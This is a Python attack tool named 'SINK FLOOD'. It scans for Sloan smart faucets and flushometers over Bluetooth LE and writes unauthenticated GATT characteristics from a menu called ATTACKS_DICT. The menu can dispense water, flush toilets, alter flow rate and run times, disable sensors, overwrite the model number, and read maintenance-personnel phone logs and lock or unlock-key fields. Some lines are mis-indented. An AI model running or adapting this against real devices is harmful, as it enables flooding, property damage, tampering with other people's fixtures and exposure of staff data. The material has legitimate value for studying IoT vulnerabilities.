from bluepy.btle import Scanner, DefaultDelegate, Peripheral, UUID, BTLEDisconnectError, BTLEGattError, BTLEManagementError, BTLEInternalError
SCAN_TIMEOUT = 2.0
DEBUG = 0
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_WATER_DISPENSE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c965")
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_FLOW_RATE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c949")
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MAXIMUM_ON_DEMAND_RUN_TIME = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c945");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_METERED_RUN_TIME = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c944");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MODE_SELECTION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c943");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_SENSOR_RANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c942");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_FIRMWARE_VERSION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c906");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_HARDWARE_VERSION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c905");
UUID_CHARACTERISTIC_FAUCET_BD_DEVICE_INFO_MODEL_NUMBER = UUID("00002a24-0000-1000-8000-00805f9b34fb");

UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_BD_NOTE_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c932");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_INTERVAL_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c930");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_ON_OFF_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92e");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_TIME_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92f");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c929");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_OD_OR_M_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92b");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92a");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_METER_RUNTIME_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92c");
UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_OD_RUNTIME_CHANGE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c92d");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_FLUSHER_NOTE_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88338");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_ACTIVATION_TIME_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88337");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_DIAGNOSTIC = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88335");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88331");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FIRMWARE_UPDATE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88336");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FLUSH_VOLUME_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88334");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_LINE_SENTINAL_FLUSH_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88333");
UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88332");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_FIRMWARE_VERSION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90e");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_HARDWARE_VERSION = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90d");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_MANUFACTURING_DATE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90c");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SERIAL = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90b");
UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SKU = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c90F");
AQUIS_UUIDS = (
    UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_FIRMWARE_VERSION,
    UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_HARDWARE_VERSION,
    UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_MANUFACTURING_DATE,
    UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SERIAL,
    UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AQUIS_DONGLE_SKU
)
UUID_CHARACTERISTIC_APP_IDENTIFICATION_LOCK_STATUS = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c953");
UUID_CHARACTERISTIC_APP_IDENTIFICATION_PASS_CODE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c954");
UUID_CHARACTERISTIC_APP_IDENTIFICATION_TIMESTAMP = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c951");
UUID_CHARACTERISTIC_APP_IDENTIFICATION_UNLOCK_KEY = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c952");
LOCK_INFO = (
    UUID_CHARACTERISTIC_APP_IDENTIFICATION_LOCK_STATUS,
    UUID_CHARACTERISTIC_APP_IDENTIFICATION_PASS_CODE,
    UUID_CHARACTERISTIC_APP_IDENTIFICATION_TIMESTAMP,
    UUID_CHARACTERISTIC_APP_IDENTIFICATION_UNLOCK_KEY,
)
FAUCET_PHONE_UUIDS = (
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_BD_NOTE_CHANGE,
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_INTERVAL_CHANGE,
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_ON_OFF_CHANGE,
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_FLUSH_TIME_CHANGE,
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET,
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_OD_OR_M_CHANGE,
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE,
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_METER_RUNTIME_CHANGE,
    UUID_CHARACTERISTIC_FAUCET_BD_CHANGED_SETTING_LOG_PHONE_OF_OD_RUNTIME_CHANGE,
    UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_FLUSHER_NOTE_CHANGE,
    UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_ACTIVATION_TIME_CHANGE,
    UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_DIAGNOSTIC,
    UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FACTORY_RESET,
    UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FIRMWARE_UPDATE,
    UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_FLUSH_VOLUME_CHANGE,
    UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_LINE_SENTINAL_FLUSH_CHANGE,
    UUID_CHARACTERISTIC_FLUSHER_CHANGED_SETTING_LOG_PHONE_OF_LAST_RANGE_CHANGE,
    
)
UUID_CHARACTERISTIC_OTA_CONTROL = UUID("f7bf3564-fb6d-4e53-88a4-5e37e0326063");
UUID_CHARACTERISTIC_OTA_DATA_TRANSFER = UUID("984227f3-34fc-4045-a5d0-2c581f81a153");
OTA = (
    UUID_CHARACTERISTIC_OTA_CONTROL,
    UUID_CHARACTERISTIC_OTA_DATA_TRANSFER,
)
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_1 = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c94a");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_2 = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c94b");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_3 = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c94c");
UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_4 = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c94d");
NOTES = (
    UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_1,
    UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_2,
    UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_3,
    UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_BD_NOTE_4,
)
UUID_CHARACTERISTIC_FAUCET_DIAGNOSTIC_COMMUNICATION_STATUS = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c969");
UUID_CHARACTERISTIC_FAUCET_DIAGNOSTIC_SOLAR_STATUS = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c968");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_BATTERY_LEVEL_AT_DIAGNOSTIC = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c966");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_DATE_OF_DIAGNOSTIC = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c967");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_INIT = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c961");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_SENSOR_RESULT = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c962");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_TURBINE_RESULT = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c964");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_VALVE_RESULT = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c963");
DIAG = (
    UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_BATTERY_LEVEL_AT_DIAGNOSTIC,
    UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_DATE_OF_DIAGNOSTIC,
    UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_INIT,
    UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_SENSOR_RESULT,
    UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_TURBINE_RESULT,
    UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_VALVE_RESULT,
    UUID_CHARACTERISTIC_FAUCET_DIAGNOSTIC_COMMUNICATION_STATUS,
    UUID_CHARACTERISTIC_FAUCET_DIAGNOSTIC_SOLAR_STATUS,
)
UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_ACTIVATE_VALVE_ONCE = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88361");
UUID_CHARACTERISTIC_FAUCET_BD_PRODUCTION_MODE_PRODUCTION_ENABLE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c971");
UUID_CHARACTERISTIC_FAUCET_BD_PRODUCTION_MODE_ADAPTIVE_SENSING_ENABLE = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c978");
UUID_CHARACTERISTIC_BATTERY_LEVEL = UUID("00002a19-0000-1000-8000-00805f9b34fb");
UUID_CHARACTERISTIC_FAUCET_BD_BATTERY_LEVEL = UUID("00002a19-0000-1000-8000-00805f9b34fb");
UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_BATTERY_LEVEL_AT_DIAGNOSTIC = UUID("d0aba888-fb10-4dc9-9b17-bdd8f490c966");
UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_BATTERY_LEVEL_AT_DIAGNOSTIC = UUID("f89f13e7-83f8-4b7c-9e8b-364576d88364");
BATTERY_INFO = (
    UUID_CHARACTERISTIC_BATTERY_LEVEL,
    UUID_CHARACTERISTIC_FAUCET_BD_BATTERY_LEVEL,
    UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_BATTERY_LEVEL_AT_DIAGNOSTIC,
    UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_BATTERY_LEVEL_AT_DIAGNOSTIC,
)
ATTACKS_DICT = {
    "0": ("Dispense Water", UUID_CHARACTERISTIC_FAUCET_BD_FAUCET_DIAGNOSTIC_WATER_DISPENSE, "Enter a 1 to begin Dispensing water: "),
    "1": ("Flush Toilet", UUID_CHARACTERISTIC_FLUSHER_DIAGNOSIS_ACTIVATE_VALVE_ONCE, "Enter a 1 to begin flushing diagnostic: "),
    "2": ("Change Faucet Flow Rate", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_FLOW_RATE, "Enter two digits together, they'll be a float (11 will be 1.1lpm): "),
    "3": ("Change Faucet Activation Mode", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MODE_SELECTION, "Enter a 0 (ondemand) or a 1 (metered) to change the activation mode.: "),
    "4": ("Change Faucet OnDemand Run Time", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_MAXIMUM_ON_DEMAND_RUN_TIME, "Enter 2 digits (10 = 10 seconds): "),
    "5": ("Change Faucet Metered Run Time", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_METERED_RUN_TIME, "Enter 3 digits (120 = 120 seconds): "),
    "6": ("Change Sensor Range", UUID_CHARACTERISTIC_FAUCET_BD_SETTINGS_CONFIG_SENSOR_RANGE, "Enter 1 digit (0 to disable sensor): "),
    "7": ("Read Maintenance Personnel Info", FAUCET_PHONE_UUIDS, "N/A"),
    "8": ("Change Model Number", UUID_CHARACTERISTIC_FAUCET_BD_DEVICE_INFO_MODEL_NUMBER, "Enter a new model number: "),
    "9": ("OTA (doesn't write)", OTA, "N/A"),
    "10": ("Read HW", UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_HARDWARE_VERSION, "N/A"),
    "11": ("Read FW", UUID_CHARACTERISTIC_FAUCET_AD_BD_INFO_AD_FIRMWARE_VERSION, "N/A"),
    "12": ("Read AQUIS Info", AQUIS_UUIDS, "N/A"),
    "13": ("Read Locking Information", LOCK_INFO, "N/A"),
    "14": ("Read Diagnostic Info", DIAG, "N/A"),
    "15": ("Read NOTES", NOTES, "N/A"),
    "16": ("Write NOTES", NOTES, "Enter something to write to the 4 notes fields:"),
    "17": ("Production Enable", UUID_CHARACTERISTIC_FAUCET_BD_PRODUCTION_MODE_PRODUCTION_ENABLE, "Write something to production enable: "),
    "18": ("Adaptive Sensing Enable (gain/sensitivity changes not implemented)", UUID_CHARACTERISTIC_FAUCET_BD_PRODUCTION_MODE_ADAPTIVE_SENSING_ENABLE, "Write to Adaptive Sensing Enable: "),
    "19": ("Read Battery Info", BATTERY_INFO, "N/A"),
}

class ScanDelegate(DefaultDelegate):
    def __init__(self):
        DefaultDelegate.__init__(self)
#def handleDiscovery(self, dev):
        #if dev
def convert_num_for_writing(text):
    if len(text) > 4:
        return text.encode()
    output = b''
    #for letter in text:
    #    output = output + str(hex(ord(letter)))[2:4].encode()
    output = text.encode()
return output
def run_sink_flood(attack, target, p):
    attack_name = attack[0]
    uuid = attack[1]
    text = attack[2]
    target_name = target["name"]
    if type(uuid) == UUID:
        char = p.getCharacteristics(uuid=uuid)
        if char[0].supportsRead() and attack_name != "Dispense Water":
            val = char[0].read()
            print(f"[    >] {target_name} responds with current value: {val}")
        if not text == "N/A":
            sendme = input(text)
            sendme = convert_num_for_writing(sendme)
            char[0].write(sendme, withResponse=True)
    else:
        for i in uuid:
            try:
                char = p.getCharacteristics(uuid=i)
                if char[0].supportsRead():
                    val = char[0].read()
                    print(f"[    >] {target_name} responds with current value: {val}")
                if not text == "N/A":
                    sendme = input(text)
                    sendme = convert_num_for_writing(sendme)
                    char[0].write(sendme, withResponse=True)
            except BTLEGattError:
                pass
def menu_pick_attack(target):
    for attack in ATTACKS_DICT.keys():
        print(f"[{attack}] {ATTACKS_DICT[attack][0]}")
    selection = input("Enter a #: ")
    return ATTACKS_DICT[selection]
def menu_pick_device(devices):
    menu = {}
    i = 1
    target = None
    for dev in devices:
        for (adtype, desc, value) in dev.getScanData():
            if desc == "Complete Local Name":
                if type(value) == str and "FAUCET" in value:
                    menu["%s" % i] = {"name": value,"dev": dev}
                    i += 1
options = menu.keys()
    if not options:
        return None
    sorted(options)
    for entry in options:
        print(f"[{entry}] {menu[entry]['dev'].addr} {menu[entry]['name']} ")
    selection = input("Enter a device #: ")
    if selection in menu.keys():
        target = menu[selection]
    return target
def lescan():
    scanner = Scanner(1).withDelegate(ScanDelegate())
    try:
        print(f"[*] scanning for {SCAN_TIMEOUT}")
        devices = scanner.scan(SCAN_TIMEOUT)
    except BTLEManagementError:
        print("[*] Permission to use HCI unavailable, rerun with sudo or as root.")
        return
    return devices
def main():
    print("[*] starting SINK FLOOD Sloan SmartFaucet and SmartFlushometer tool")
    while True:
        found_devices = lescan()
        if found_devices:
            target = menu_pick_device(found_devices)
            if not target:
                continue
            p = Peripheral(target['dev'].addr)
            #p = Peripheral('08:6b:d7:20:9d:4b')
            while target:
                attack = menu_pick_attack(target)
                run_sink_flood(attack, target, p)
            else:
                print("[*] target not found. have you tried turning it off and on again?")
                continue
        else:
            print("[*] something's not write. exiting.")
            exit()
if __name__ == "__main__":
    main()
